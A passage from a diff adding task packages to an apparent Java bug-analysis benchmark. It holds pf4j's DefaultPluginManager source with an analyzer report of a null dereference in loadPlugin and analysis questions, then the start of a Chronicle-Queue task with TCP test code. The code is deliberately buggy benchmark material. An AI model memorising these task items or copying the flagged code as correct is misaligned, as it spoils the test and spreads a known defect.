+ * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
+ * specific language governing permissions and limitations under the License.
+ */
+package ro.fortsoft.pf4j;
+
+import java.io.File;
+import java.io.FileFilter;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import ro.fortsoft.pf4j.util.AndFileFilter;
+import ro.fortsoft.pf4j.util.CompoundClassLoader;
+import ro.fortsoft.pf4j.util.DirectoryFileFilter;
+import ro.fortsoft.pf4j.util.FileUtils;
+import ro.fortsoft.pf4j.util.HiddenFilter;
+import ro.fortsoft.pf4j.util.NotFileFilter;
+import ro.fortsoft.pf4j.util.Unzip;
+import ro.fortsoft.pf4j.util.ZipFileFilter;
+
+/**
+ * Default implementation of the PluginManager interface.
+ *
+ * @author Decebal Suiu
+ */
+public class DefaultPluginManager implements PluginManager {
+
+	private static final Logger log = LoggerFactory.getLogger(DefaultPluginManager.class);
+
+	public static final String DEFAULT_PLUGINS_DIRECTORY = "plugins";
+	public static final String DEVELOPMENT_PLUGINS_DIRECTORY = "../plugins";
+
+    /**
+     * The plugins repository.
+     */
+    private File pluginsDirectory;
+
+    private ExtensionFinder extensionFinder;
+
+    private PluginDescriptorFinder pluginDescriptorFinder;
+
+    private PluginClasspath pluginClasspath;
+
+    /**
+     * A map of plugins this manager is responsible for (the key is the 'pluginId').
+     */
+    private Map<String, PluginWrapper> plugins;
+
+    /**
+     * A map of plugin class loaders (he key is the 'pluginId').
+     */
+    private Map<String, PluginClassLoader> pluginClassLoaders;
+
+    /**
+     * A relation between 'pluginPath' and 'pluginId'
+     */
+    private Map<String, String> pathToIdMap;
+
+    /**
+     * A list with unresolved plugins (unresolved dependency).
+     */
+    private List<PluginWrapper> unresolvedPlugins;
+
+    /**
+     * A list with resolved plugins (resolved dependency).
+     */
+    private List<PluginWrapper> resolvedPlugins;
+
+    /**
+     * A list with started plugins.
+     */
+    private List<PluginWrapper> startedPlugins;
+
+    private List<String> enabledPlugins;
+    private List<String> disabledPlugins;
+
+    /**
+     * A compound class loader of resolved plugins.
+     */
+    protected CompoundClassLoader compoundClassLoader;
+
+    /**
+     * Cache value for the runtime mode. No need to re-read it because it wont change at
+	 * runtime.
+     */
+    private RuntimeMode runtimeMode;
+
+    /**
+     * The plugins directory is supplied by System.getProperty("pf4j.pluginsDir", "plugins").
+     */
+    public DefaultPluginManager() {
+    	this.pluginsDirectory = createPluginsDirectory();
+
+    	initialize();
+    }
+
+    /**
+     * Constructs DefaultPluginManager which the given plugins directory.
+     *
+     * @param pluginsDirectory
+     *            the directory to search for plugins
+     */
+    public DefaultPluginManager(File pluginsDirectory) {
+        this.pluginsDirectory = pluginsDirectory;
+
+        initialize();
+    }
+
+	@Override
+    public List<PluginWrapper> getPlugins() {
+        return new ArrayList<PluginWrapper>(plugins.values());
+    }
+
+    @Override
+    public List<PluginWrapper> getPlugins(PluginState pluginState) {
+        List<PluginWrapper> plugins= new ArrayList<PluginWrapper>();
+        for (PluginWrapper plugin : getPlugins()) {
+            if (pluginState.equals(plugin.getPluginState())) {
+                plugins.add(plugin);
+            }
+        }
+
+        return plugins;
+    }
+
+    @Override
+	public List<PluginWrapper> getResolvedPlugins() {
+		return resolvedPlugins;
+	}
+
+	public PluginWrapper getPlugin(String pluginId) {
+		return plugins.get(pluginId);
+	}
+
+	@Override
+    public List<PluginWrapper> getUnresolvedPlugins() {
+		return unresolvedPlugins;
+	}
+
+	@Override
+	public List<PluginWrapper> getStartedPlugins() {
+		return startedPlugins;
+	}
+
+	@Override
+	public String loadPlugin(File pluginArchiveFile) {
+		if (pluginArchiveFile == null || !pluginArchiveFile.exists()) {
+			throw new IllegalArgumentException(String.format("Specified plugin %s does not exist!", pluginArchiveFile));
+		}
+
+		File pluginDirectory = null;
+		try {
+			pluginDirectory = expandPluginArchive(pluginArchiveFile);
+		} catch (IOException e) {
+			log.error(e.getMessage(), e);
+		}
+		if (pluginDirectory == null || !pluginDirectory.exists()) {
+			throw new IllegalArgumentException(String.format("Failed to expand %s", pluginArchiveFile));
+		}
+
+		try {
+			PluginWrapper pluginWrapper = loadPluginDirectory(pluginDirectory);
+			// TODO uninstalled plugin dependencies?
+        	unresolvedPlugins.remove(pluginWrapper);
+        	resolvedPlugins.add(pluginWrapper);
+        	compoundClassLoader.addLoader(pluginWrapper.getPluginClassLoader());
+        	extensionFinder.reset();
+			return pluginWrapper.getDescriptor().getPluginId();
+		} catch (PluginException e) {
+			log.error(e.getMessage(), e);
+		}
+		return null;
+	}
+
+    /**
+     * Start all active plugins.
+     */
+	@Override
+    public void startPlugins() {
+        for (PluginWrapper pluginWrapper : resolvedPlugins) {
+            PluginDescriptor pluginDescriptor = pluginWrapper.getDescriptor();
+            if (!isPluginDisabled(pluginDescriptor.getPluginId())) {
+                try {
+                    log.info("Start plugin '{}:{}'", pluginDescriptor.getPluginId(), pluginDescriptor.getVersion());
+                    pluginWrapper.getPlugin().start();
+                    pluginWrapper.setPluginState(PluginState.STARTED);
+                    startedPlugins.add(pluginWrapper);
+                } catch (PluginException e) {
+                    log.error(e.getMessage(), e);
+                }
+            }
+        }
+    }
+
+	/**
+     * Start the specified plugin and it's dependencies.
+     */
+    @Override
+    public PluginState startPlugin(String pluginId) {
+    	if (!plugins.containsKey(pluginId)) {
+    		throw new IllegalArgumentException(String.format("Unknown pluginId %s", pluginId));
+    	}
+
+    	PluginWrapper pluginWrapper = plugins.get(pluginId);
+    	PluginDescriptor pluginDescriptor = pluginWrapper.getDescriptor();
+    	if (pluginWrapper.getPluginState().equals(PluginState.STARTED)) {
+    		log.debug("Already started plugin '{}:{}'", pluginDescriptor.getPluginId(), pluginDescriptor.getVersion());
+    		return PluginState.STARTED;
+    	}
+
+        // test for disabled plugin
+        if (isPluginDisabled(pluginDescriptor.getPluginId())) {
+            // do nothing
+            return pluginWrapper.getPluginState();
+        }
+
+        for (PluginDependency dependency : pluginDescriptor.getDependencies()) {
+    		startPlugin(dependency.getPluginId());
+    	}
+
+    	try {
+    		log.info("Start plugin '{}:{}'", pluginDescriptor.getPluginId(), pluginDescriptor.getVersion());
+    		pluginWrapper.getPlugin().start();
+    		pluginWrapper.setPluginState(PluginState.STARTED);
+    		startedPlugins.add(pluginWrapper);
+    	} catch (PluginException e) {
+    		log.error(e.getMessage(), e);
+    	}
+
+    	return pluginWrapper.getPluginState();
+    }
+
+    /**
+     * Stop all active plugins.
+     */
+    @Override
+    public void stopPlugins() {
+    	// stop started plugins in reverse order
+    	Collections.reverse(startedPlugins);
+    	Iterator<PluginWrapper> itr = startedPlugins.iterator();
+        while (itr.hasNext()) {
+        	PluginWrapper pluginWrapper = itr.next();
+        	PluginDescriptor pluginDescriptor = pluginWrapper.getDescriptor();
+            if (!isPluginDisabled(pluginDescriptor.getPluginId())) {
+                try {
+                    log.info("Stop plugin '{}:{}'", pluginDescriptor.getPluginId(), pluginDescriptor.getVersion());
+                    pluginWrapper.getPlugin().stop();
+                    pluginWrapper.setPluginState(PluginState.STOPPED);
+                    itr.remove();
+                } catch (PluginException e) {
+                    log.error(e.getMessage(), e);
+                }
+            }
+        }
+    }
+
+    /**
+     * Stop the specified plugin and it's dependencies.
+     */
+    @Override
+    public PluginState stopPlugin(String pluginId) {
+    	if (!plugins.containsKey(pluginId)) {
+    		throw new IllegalArgumentException(String.format("Unknown pluginId %s", pluginId));
+    	}
+
+    	PluginWrapper pluginWrapper = plugins.get(pluginId);
+    	PluginDescriptor pluginDescriptor = pluginWrapper.getDescriptor();
+    	if (pluginWrapper.getPluginState().equals(PluginState.STOPPED)) {
+    		log.debug("Already stopped plugin '{}:{}'", pluginDescriptor.getPluginId(), pluginDescriptor.getVersion());
+    		return PluginState.STOPPED;
+    	}
+
+        // test for disabled plugin
+        if (isPluginDisabled(pluginDescriptor.getPluginId())) {
+            // do nothing
+            return pluginWrapper.getPluginState();
+        }
+
+    	for (PluginDependency dependency : pluginDescriptor.getDependencies()) {
+    		stopPlugin(dependency.getPluginId());
+    	}
+
+    	try {
+    		log.info("Stop plugin '{}:{}'", pluginDescriptor.getPluginId(), pluginDescriptor.getVersion());
+    		pluginWrapper.getPlugin().stop();
+    		pluginWrapper.setPluginState(PluginState.STOPPED);
+    		startedPlugins.remove(pluginWrapper);
+    	} catch (PluginException e) {
+    		log.error(e.getMessage(), e);
+    	}
+
+    	return pluginWrapper.getPluginState();
+    }
+
+    /**
+     * Load plugins.
+     */
+    @Override
+    public void loadPlugins() {
+    	log.debug("Lookup plugins in '{}'", pluginsDirectory.getAbsolutePath());
+    	// check for plugins directory
+        if (!pluginsDirectory.exists() || !pluginsDirectory.isDirectory()) {
+            log.error("No '{}' directory", pluginsDirectory.getAbsolutePath());
+            return;
+        }
+
+        // expand all plugin archives
+        FileFilter zipFilter = new ZipFileFilter();
+        File[] zipFiles = pluginsDirectory.listFiles(zipFilter);
+        if (zipFiles != null) {
+        	for (File zipFile : zipFiles) {
+        		try {
+        			expandPluginArchive(zipFile);
+        		} catch (IOException e) {
+        			log.error(e.getMessage(), e);
+        		}
+        	}
+        }
+
+        // check for no plugins
+        List<FileFilter> filterList = new ArrayList<FileFilter>();
+        filterList.add(new DirectoryFileFilter());
+        filterList.add(new NotFileFilter(createHiddenPluginFilter()));
+        FileFilter pluginsFilter = new AndFileFilter(filterList);
+        File[] directories = pluginsDirectory.listFiles(pluginsFilter);
+        if (directories == null) {
+        	directories = new File[0];
+        }
+        log.debug("Found possible {} plugins: {}", directories.length, directories);
+        if (directories.length == 0) {
+        	log.info("No plugins");
+        	return;
+        }
+
+        // load any plugin from plugins directory
+       	for (File directory : directories) {
+       		try {
+       			loadPluginDirectory(directory);
+    		} catch (PluginException e) {
+    			log.error(e.getMessage(), e);
+    		}
+       	}
+
+        // resolve 'unresolvedPlugins'
+        try {
+			resolvePlugins();
+		} catch (PluginException e) {
+			log.error(e.getMessage(), e);
+		}
+    }
+
+    @Override
+    public boolean unloadPlugin(String pluginId) {
+    	try {
+    		PluginState state = stopPlugin(pluginId);
+    		if (!PluginState.STOPPED.equals(state)) {
+    			return false;
+    		}
+
+    		PluginWrapper pluginWrapper = plugins.get(pluginId);
+    		PluginDescriptor descriptor = pluginWrapper.getDescriptor();
+    		List<PluginDependency> dependencies = descriptor.getDependencies();
+    		for (PluginDependency dependency : dependencies) {
+    			if (!unloadPlugin(dependency.getPluginId())) {
+    				return false;
+    			}
+    		}
+
+    		// remove the plugin
+    		plugins.remove(pluginId);
+    		resolvedPlugins.remove(pluginWrapper);
+    		pathToIdMap.remove(pluginWrapper.getPluginPath());
+    		extensionFinder.reset();
+
+    		// remove the classloader
+    		if (pluginClassLoaders.containsKey(pluginId)) {
+    			PluginClassLoader classLoader = pluginClassLoaders.remove(pluginId);
+    			compoundClassLoader.removeLoader(classLoader);
+    			try {
+    				classLoader.close();
+    			} catch (IOException e) {
+    				log.error(e.getMessage(), e);
+    			}
+    		}
+    		return true;
+    	} catch (IllegalArgumentException e) {
+    		// ignore not found exceptions because this method is recursive
+    	}
+
+    	return false;
+    }
+
+    @Override
+    public boolean disablePlugin(String pluginId) {
+        if (plugins.containsKey(pluginId)) {
+            log.debug("Unloading plugin {}", pluginId);
+            unloadPlugin(pluginId);
+        }
+
+        if (disabledPlugins.add(pluginId)) {
+            try {
+                FileUtils.writeLines(disabledPlugins, new File(pluginsDirectory, "disabled.txt"));
+                return true;
+            } catch (IOException e) {
+                log.error("Failed to disable plugin {}", pluginId, e);
+            }
+        }
+
+        return false;
+    }
+
+    @Override
+    public boolean enablePlugin(String pluginId) {
+        if (!disabledPlugins.remove(pluginId)) {
+            log.debug("Plugin {} was not disabled", pluginId);
+            return true;
+        }
+
+        try {
+            FileUtils.writeLines(disabledPlugins, new File(pluginsDirectory, "disabled.txt"));
+            return true;
+        } catch (IOException e) {
+            log.error("Failed to enable plugin {}", pluginId, e);
+        }
+
+        return false;
+    }
+
+    @Override
+	public boolean deletePlugin(String pluginId) {
+    	if (!plugins.containsKey(pluginId)) {
+    		throw new IllegalArgumentException(String.format("Unknown pluginId %s", pluginId));
+    	}
+		PluginWrapper pw = getPlugin(pluginId);
+		PluginState state = stopPlugin(pluginId);
+
+		if (PluginState.STOPPED != state) {
+			log.error("Failed to stop plugin {} on delete", pluginId);
+			return false;
+		}
+
+		if (!unloadPlugin(pluginId)) {
+			log.error("Failed to unload plugin {} on delete", pluginId);
+			return false;
+		}
+
+		File pluginFolder = new File(pluginsDirectory, pw.getPluginPath());
+		File pluginZip = null;
+
+		FileFilter zipFilter = new ZipFileFilter();
+        File[] zipFiles = pluginsDirectory.listFiles(zipFilter);
+        if (zipFiles != null) {
+        	// strip prepended / from the plugin path
+        	String dirName = pw.getPluginPath().substring(1);
+        	// find the zip file that matches the plugin path
+        	for (File zipFile : zipFiles) {
+        		String name = zipFile.getName().substring(0, zipFile.getName().lastIndexOf('.'));
+        		if (name.equals(dirName)) {
+        			pluginZip = zipFile;
+        			break;
+        		}
+        	}
+        }
+
+		if (pluginFolder.exists()) {
+			FileUtils.delete(pluginFolder);
+		}
+		if (pluginZip != null && pluginZip.exists()) {
+			FileUtils.delete(pluginZip);
+		}
+		return true;
+	}
+
+    /**
+     * Get plugin class loader for this path.
+     */
+    @Override
+    public PluginClassLoader getPluginClassLoader(String pluginId) {
+    	return pluginClassLoaders.get(pluginId);
+    }
+
+    @Override
+	public <T> List<T> getExtensions(Class<T> type) {
+		List<ExtensionWrapper<T>> extensionsWrapper = extensionFinder.find(type);
+		List<T> extensions = new ArrayList<T>(extensionsWrapper.size());
+		for (ExtensionWrapper<T> extensionWrapper : extensionsWrapper) {
+			extensions.add(extensionWrapper.getInstance());
+		}
+
+		return extensions;
+	}
+
+    @Override
+	public RuntimeMode getRuntimeMode() {
+    	if (runtimeMode == null) {
+        	// retrieves the runtime mode from system
+        	String modeAsString = System.getProperty("pf4j.mode", RuntimeMode.DEPLOYMENT.toString());
+        	runtimeMode = RuntimeMode.byName(modeAsString);
+
+        	log.info("PF4J runtime mode is '{}'", runtimeMode);
+
+    	}
+
+		return runtimeMode;
+	}
+
+    /**
+     * Retrieves the {@link PluginWrapper} that loaded the given class 'clazz'.
+     */
+    public PluginWrapper whichPlugin(Class<?> clazz) {
+        ClassLoader classLoader = clazz.getClassLoader();
+        for (PluginWrapper plugin : resolvedPlugins) {
+            if (plugin.getPluginClassLoader() == classLoader) {
+            	return plugin;
+            }
+        }
+        log.warn("Failed to find the plugin for {}", clazz);
+        return null;
+    }
+
+	/**
+	 * Add the possibility to override the PluginDescriptorFinder.
+	 * By default if getRuntimeMode() returns RuntimeMode.DEVELOPMENT than a
+	 * PropertiesPluginDescriptorFinder is returned else this method returns
+	 * DefaultPluginDescriptorFinder.
+	 */
+    protected PluginDescriptorFinder createPluginDescriptorFinder() {
+    	if (RuntimeMode.DEVELOPMENT.equals(getRuntimeMode())) {
+    		return new PropertiesPluginDescriptorFinder();
+    	}
+
+    	return new DefaultPluginDescriptorFinder(pluginClasspath);
+    }
+
+    /**
+     * Add the possibility to override the ExtensionFinder.
+     */
+    protected ExtensionFinder createExtensionFinder() {
+    	return new DefaultExtensionFinder(compoundClassLoader);
+    }
+
+    /**
+     * Add the possibility to override the PluginClassPath.
+     * By default if getRuntimeMode() returns RuntimeMode.DEVELOPMENT than a
+	 * DevelopmentPluginClasspath is returned else this method returns
+	 * PluginClasspath.
+     */
+    protected PluginClasspath createPluginClasspath() {
+    	if (RuntimeMode.DEVELOPMENT.equals(getRuntimeMode())) {
+    		return new DevelopmentPluginClasspath();
+    	}
+
+    	return new PluginClasspath();
+    }
+
+    @Override
+    public boolean isPluginDisabled(String pluginId) {
+    	if (enabledPlugins.isEmpty()) {
+    		return disabledPlugins.contains(pluginId);
+    	}
+
+    	return !enabledPlugins.contains(pluginId);
+    }
+
+    protected FileFilter createHiddenPluginFilter() {
+    	return new HiddenFilter();
+    }
+
+    /**
+     * Add the possibility to override the plugins directory.
+     * If a "pf4j.pluginsDir" system property is defined than this method returns
+     * that directory.
+     * If getRuntimeMode() returns RuntimeMode.DEVELOPMENT than a
+	 * DEVELOPMENT_PLUGINS_DIRECTORY ("../plugins") is returned else this method returns
+	 * DEFAULT_PLUGINS_DIRECTORY ("plugins").
+     * @return
+     */
+    protected File createPluginsDirectory() {
+    	String pluginsDir = System.getProperty("pf4j.pluginsDir");
+    	if (pluginsDir == null) {
+    		if (RuntimeMode.DEVELOPMENT.equals(getRuntimeMode())) {
+    			pluginsDir = DEVELOPMENT_PLUGINS_DIRECTORY;
+    		} else {
+    			pluginsDir = DEFAULT_PLUGINS_DIRECTORY;
+    		}
+    	}
+
+    	return new File(pluginsDir);
+    }
+
+	private void initialize() {
+		plugins = new HashMap<String, PluginWrapper>();
+        pluginClassLoaders = new HashMap<String, PluginClassLoader>();
+        pathToIdMap = new HashMap<String, String>();
+        unresolvedPlugins = new ArrayList<PluginWrapper>();
+        resolvedPlugins = new ArrayList<PluginWrapper>();
+        startedPlugins = new ArrayList<PluginWrapper>();
+        disabledPlugins = new ArrayList<String>();
+        compoundClassLoader = new CompoundClassLoader();
+
+        pluginClasspath = createPluginClasspath();
+        pluginDescriptorFinder = createPluginDescriptorFinder();
+        extensionFinder = createExtensionFinder();
+
+        try {
+        	// create a list with plugin identifiers that should be only accepted by this manager (whitelist from plugins/enabled.txt file)
+        	enabledPlugins = FileUtils.readLines(new File(pluginsDirectory, "enabled.txt"), true);
+        	log.info("Enabled plugins: {}", enabledPlugins);
+
+        	// create a list with plugin identifiers that should not be accepted by this manager (blacklist from plugins/disabled.txt file)
+        	disabledPlugins = FileUtils.readLines(new File(pluginsDirectory, "disabled.txt"), true);
+        	log.info("Disabled plugins: {}", disabledPlugins);
+        } catch (IOException e) {
+        	log.error(e.getMessage(), e);
+        }
+
+        System.setProperty("pf4j.pluginsDir", pluginsDirectory.getAbsolutePath());
+	}
+
+	private PluginWrapper loadPluginDirectory(File pluginDirectory) throws PluginException {
+        // try to load the plugin
+		String pluginName = pluginDirectory.getName();
+        String pluginPath = "/".concat(pluginName);
+
+        // test for plugin duplication
+        if (plugins.get(pathToIdMap.get(pluginPath)) != null) {
+            return null;
+        }
+
+        // retrieves the plugin descriptor
+        log.debug("Find plugin descriptor '{}'", pluginPath);
+        PluginDescriptor pluginDescriptor = pluginDescriptorFinder.find(pluginDirectory);
+        log.debug("Descriptor " + pluginDescriptor);
+        String pluginClassName = pluginDescriptor.getPluginClass();
+        log.debug("Class '{}' for plugin '{}'",  pluginClassName, pluginPath);
+
+        // load plugin
+        log.debug("Loading plugin '{}'", pluginPath);
+        PluginLoader pluginLoader = new PluginLoader(this, pluginDescriptor, pluginDirectory, pluginClasspath);
+        pluginLoader.load();
+        log.debug("Loaded plugin '{}'", pluginPath);
+
+        // create the plugin wrapper
+        log.debug("Creating wrapper for plugin '{}'", pluginPath);
+        PluginWrapper pluginWrapper = new PluginWrapper(pluginDescriptor, pluginPath, pluginLoader.getPluginClassLoader());
+        pluginWrapper.setRuntimeMode(getRuntimeMode());
+        /*
+        // test for disabled plugin
+        if (isPluginDisabled(pluginDescriptor.getPluginId())) {
+            log.info("Plugin '{}' is disabled", pluginPath);
+            pluginWrapper.setPluginState(PluginState.DISABLED);
+        }
+        */
+        log.debug("Created wrapper '{}' for plugin '{}'", pluginWrapper, pluginPath);
+
+        String pluginId = pluginDescriptor.getPluginId();
+
+        // add plugin to the list with plugins
+        plugins.put(pluginId, pluginWrapper);
+        unresolvedPlugins.add(pluginWrapper);
+
+        // add plugin class loader to the list with class loaders
+        PluginClassLoader pluginClassLoader = pluginLoader.getPluginClassLoader();
+        pluginClassLoaders.put(pluginId, pluginClassLoader);
+
+        return pluginWrapper;
+    }
+
+    private File expandPluginArchive(File pluginArchiveFile) throws IOException {
+    	String fileName = pluginArchiveFile.getName();
+        long pluginArchiveDate = pluginArchiveFile.lastModified();
+        String pluginName = fileName.substring(0, fileName.length() - 4);
+        File pluginDirectory = new File(pluginsDirectory, pluginName);
+        // check if exists directory or the '.zip' file is "newer" than directory
+        if (!pluginDirectory.exists() || (pluginArchiveDate > pluginDirectory.lastModified())) {
+        	log.debug("Expand plugin archive '{}' in '{}'", pluginArchiveFile, pluginDirectory);
+
+        	// do not overwrite an old version, remove it
+        	if (pluginDirectory.exists()) {
+        		FileUtils.delete(pluginDirectory);
+        	}
+
+            // create directory for plugin
+            pluginDirectory.mkdirs();
+
+            // expand '.zip' file
+            Unzip unzip = new Unzip();
+            unzip.setSource(pluginArchiveFile);
+            unzip.setDestination(pluginDirectory);
+            unzip.extract();
+        }
+        return pluginDirectory;
+    }
+
+	private void resolvePlugins() throws PluginException {
+		resolveDependencies();
+	}
+
+	private void resolveDependencies() throws PluginException {
+		DependencyResolver dependencyResolver = new DependencyResolver(unresolvedPlugins);
+		resolvedPlugins = dependencyResolver.getSortedPlugins();
+        for (PluginWrapper pluginWrapper : resolvedPlugins) {
+        	unresolvedPlugins.remove(pluginWrapper);
+        	compoundClassLoader.addLoader(pluginWrapper.getPluginClassLoader());
+        	log.info("Plugin '{}' resolved", pluginWrapper.getDescriptor().getPluginId());
+        }
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `pluginWrapper` last assigned on line 178 could be null and is dereferenced at line 182.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+String DefaultPluginManager.loadPlugin(File)
+
+### Procedure Id:
+ro.fortsoft.pf4j.DefaultPluginManager.loadPlugin(java.io.File):java.lang.String.8feda28667bfef524a83dbcf0e916910
+
+### File:
+pf4j/src/main/java/ro/fortsoft/pf4j/DefaultPluginManager.java
+
+### Key:
+DefaultPluginManager.java|loadPlugin|NULL_DEREFERENCE
+
+### Node Key:
+e9814c590e26c031348b9b6ea9d992af
+
+### Hash:
+cc309fa50971112fbfe02297fd288c28
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8228/instruction.md b/inferredbugs-8228/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..9f64fddfd911d1eacae71c1484bcffa5793d6677
--- /dev/null
+++ b/inferredbugs-8228/instruction.md
@@ -0,0 +1,513 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** Chronicle-Queue
+**Bug ID:** 11
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2014 Higher Frequency Trading
+ *
+ * http://www.higherfrequencytrading.com
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package net.openhft.chronicle.tcp;
+
+import net.openhft.chronicle.*;
+import net.openhft.lang.io.StopCharTesters;
+import net.openhft.lang.model.constraints.NotNull;
+import org.junit.Test;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutput;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import static org.junit.Assert.assertEquals;
+
+/**
+ * @author peter.lawrey
+ */
+public class StatefulIndexedChronicleTest extends StatefulChronicleTestBase {
+
+    public static final int PORT = 12345;
+
+    @Test
+    public void testOverTCP() throws IOException, InterruptedException {
+        final String basePathSource = getIndexedTestPath("-source");
+        final String basePathSink = getIndexedTestPath("-sink");
+
+        // NOTE: the sink and source must have different chronicle files.
+        // TODO, make more robust.
+        final int messages = 5 * 1000 * 1000;
+
+        final Chronicle source = new ChronicleSource(ChronicleQueueBuilder.indexed(basePathSource).build(), PORT + 1);
+        final Chronicle sink = new ChronicleSink(ChronicleQueueBuilder.indexed(basePathSink).build(), "localhost", PORT + 1);
+
+        Thread t = new Thread(new Runnable() {
+            @Override
+            public void run() {
+                try {
+                    ExcerptAppender excerpt = source.createAppender();
+                    for (int i = 1; i <= messages; i++) {
+                        // use a size which will cause mis-alignment.
+                        excerpt.startExcerpt();
+                        excerpt.writeLong(i);
+                        excerpt.append(' ');
+                        excerpt.append(i);
+                        excerpt.append('\n');
+                        excerpt.finish();
+                    }
+                    System.out.println(System.currentTimeMillis() + ": Finished writing messages");
+                } catch (Exception e) {
+                    throw new AssertionError(e);
+                }
+            }
+        });
+
+        long start = System.nanoTime();
+        t.start();
+        ExcerptTailer excerpt = sink.createTailer();
+        int count = 0;
+        for (int i = 1; i <= messages; i++) {
+            while (!excerpt.nextIndex()) {
+                count++;
+            }
+
+            long n = excerpt.readLong();
+            String text = excerpt.parseUTF(StopCharTesters.CONTROL_STOP);
+            if (i != n) {
+                assertEquals('\'' + text + '\'', i, n);
+            }
+
+            excerpt.finish();
+        }
+
+        sink.close();
+        System.out.println("There were " + count + " InSynk messages");
+        t.join();
+
+        source.close();
+        long time = System.nanoTime() - start;
+        System.out.printf("Messages per second %,d%n", (int) (messages * 1e9 / time));
+
+        assertIndexedClean(basePathSource);
+        assertIndexedClean(basePathSink);
+    }
+
+    @Test
+    public void testPricePublishing1() throws IOException, InterruptedException {
+        final String basePathSource = getIndexedTestPath("-source");
+        final String basePathSink = getIndexedTestPath("-sink");
+
+        final Chronicle source = new ChronicleSource(ChronicleQueueBuilder.indexed(basePathSource).build(), PORT + 2);
+        final Chronicle sink = new ChronicleSink(ChronicleQueueBuilder.indexed(basePathSink).build(), "localhost", PORT + 2);
+
+        final PriceWriter pw = new PriceWriter(source.createAppender());
+        final AtomicInteger count = new AtomicInteger();
+        final PriceReader reader = new PriceReader(sink.createTailer(), new PriceListener() {
+            @Override
+            public void onPrice(long timeInMicros, String symbol, double bp, int bq, double ap, int aq) {
+                count.incrementAndGet();
+            }
+        });
+
+        pw.onPrice(1, "symbol", 99.9, 1, 100.1, 2);
+        reader.read();
+
+        long start = System.nanoTime();
+        int prices = 12000000;
+        for (int i = 1; i <= prices; i++) {
+            pw.onPrice(i, "symbol", 99.9, i, 100.1, i + 1);
+        }
+
+        long mid = System.nanoTime();
+        while (count.get() < prices) {
+            reader.read();
+        }
+
+        long end = System.nanoTime();
+        System.out.printf("Took an average of %.2f us to write and %.2f us to read%n",
+                (mid - start) / prices / 1e3, (end - mid) / prices / 1e3);
+
+        source.close();
+        sink.close();
+
+        assertIndexedClean(basePathSource);
+        assertIndexedClean(basePathSink);
+    }
+
+    @Test
+    public void testPricePublishing2() throws IOException, InterruptedException {
+        final String basePathSource = getIndexedTestPath("-source");
+        final String basePathSink = getIndexedTestPath("-sink");
+
+        final Chronicle source = new ChronicleSource(ChronicleQueueBuilder.indexed(basePathSource).build(), PORT + 3);
+        final Chronicle sink = new ChronicleSink(ChronicleQueueBuilder.indexed(basePathSink).build(), "localhost", PORT + 3);
+
+        final PriceWriter pw = new PriceWriter(source.createAppender());
+        final AtomicInteger count = new AtomicInteger();
+        final PriceReader reader = new PriceReader(sink.createTailer(), new PriceListener() {
+            @Override
+            public void onPrice(long timeInMicros, String symbol, double bp, int bq, double ap, int aq) {
+                count.incrementAndGet();
+            }
+        });
+
+        pw.onPrice(1, "symbol", 99.9, 1, 100.1, 2);
+        assertEquals(-1, reader.excerpt.index());
+        reader.read();
+        assertEquals(0, reader.excerpt.index());
+
+        long start = System.nanoTime();
+        int prices = 2 * 1000 * 1000;
+        for (int i = 1; i <= prices; i++) {
+            pw.onPrice(i, "symbol", 99.9, i, 100.1, i + 1);
+        }
+
+        long mid = System.nanoTime();
+        while (count.get() < prices) {
+            reader.read();
+        }
+
+        long end = System.nanoTime();
+        System.out.printf("Took an average of %.2f us to write and %.2f us to read using Excerpt%n",
+                (mid - start) / prices / 1e3, (end - mid) / prices / 1e3);
+
+
+        source.close();
+        sink.close();
+
+        assertIndexedClean(basePathSource);
+        assertIndexedClean(basePathSink);
+    }
+
+    @Test
+    public void testPricePublishing3() throws IOException, InterruptedException {
+        final String basePathSource = getIndexedTestPath("-source");
+        final String basePathSink = getIndexedTestPath("-sink");
+
+        final Chronicle source = new ChronicleSource(ChronicleQueueBuilder.indexed(basePathSource).build(), PORT + 4);
+        final Chronicle sink = new ChronicleSink(ChronicleQueueBuilder.indexed(basePathSink).build(), "localhost", PORT + 4);
+
+        final PriceWriter pw = new PriceWriter(source.createAppender());
+        final AtomicInteger count = new AtomicInteger();
+        PriceReader reader = new PriceReader(sink.createTailer(), new PriceListener() {
+            @Override
+            public void onPrice(long timeInMicros, String symbol, double bp, int bq, double ap, int aq) {
+                count.incrementAndGet();
+            }
+        });
+
